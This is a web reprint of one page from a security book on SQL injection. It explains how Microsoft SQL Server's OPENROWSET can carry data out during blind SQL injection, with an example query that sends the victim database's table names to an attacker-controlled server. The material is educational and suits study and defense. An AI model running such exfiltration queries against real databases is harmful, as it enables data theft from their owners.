28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

Create successful ePaper yourself

Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.

250 Chapter 5 • Blind <strong>SQL</strong> <strong>Injection</strong> Exploitation<br />

<strong>SQL</strong> query in such a way that they can be carried back to the attacker using one of<br />

the three alternative channels.<br />

Database Connections<br />

The first alternative channel is specific to Microsoft <strong>SQL</strong> Server <strong>and</strong> permits an attacker to<br />

create a connection from the victim’s database to the attacker’s database <strong>and</strong> carry query data<br />

over the connection. This is accomplished using the OPENROWSET comm<strong>and</strong> <strong>and</strong> can<br />

be an attacker’s best friend where available. For this attack to work the victim database must<br />

be able to open a Transmission Control Protocol (TCP) connection to the attacker’s database<br />

on the default port 1433; if egress filtering is in place at the victim or if the attacker is<br />

performing ingress filtering, the connection will fail. However, you can connect to a different<br />

port, simply by specifying the port number after the destination Internet Protocol<br />

(IP) address. This can be very useful when the remote database server can connect back<br />

to your machine on only a few specific ports.<br />

OPENROWSET is used on <strong>SQL</strong> Server to perform a one-time connection to a remote<br />

OLE DB data source (e.g., another <strong>SQL</strong> server). One example legitimate usage is to retrieve<br />

data that resides on a remote database as an alternative to link the two databases, which is<br />

better suited to cases when the data exchange needs to be performed on a regular basis.<br />

A typical way to call OPENROWSET is as follows:<br />

SELECT * FROM OPENROWSET('<strong>SQL</strong>OLEDB', 'Network=DBMSSOCN;<br />

Address=10.0.2.2;uid=sa; pwd=password', 'SELECT review_author FROM reviews')<br />

Here we connected to the <strong>SQL</strong> server at the address 10.0.2.2 as user sa, <strong>and</strong> we ran the<br />

query SELECT review_author FROM reviews, whose results are transferred back <strong>and</strong> visualized<br />

by the outermost query. User sa is a user of the database at address 10.0.2.2, <strong>and</strong> not of the<br />

database where OPENROWSET is executed. Also note that to successfully perform the<br />

query as user sa, we must successfully authenticate, providing its correct password.<br />

You were introduced to OPENROWSET in Chapter 4, so let’s concern ourselves<br />

mainly with its application to blind <strong>SQL</strong> injection. Although the example usage retrieves<br />

results from a foreign database with the SELECT statement, we can also use OPENROWSET<br />

to transmit data to a foreign database using an INSERT statement:<br />

INSERT INTO OPENROWSET('<strong>SQL</strong>OLEDB','Network=DBMSOCN;<br />

Address=192.168.0.1;uid=foo; pwd=password', 'SELECT * FROM<br />

attacker_table') SELECT name FROM sysobjects WHERE xtype='U'<br />

By executing this query, we will select the names of user tables on the local database,<br />

<strong>and</strong> append such rows into attacker_table which resides on the attacker’s server at address<br />

192.168.0.1. Of course, for the comm<strong>and</strong> to complete correctly, attacker_table’s columns<br />

must match the results of the local query, so the table would consist of a single varchar<br />

column.

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!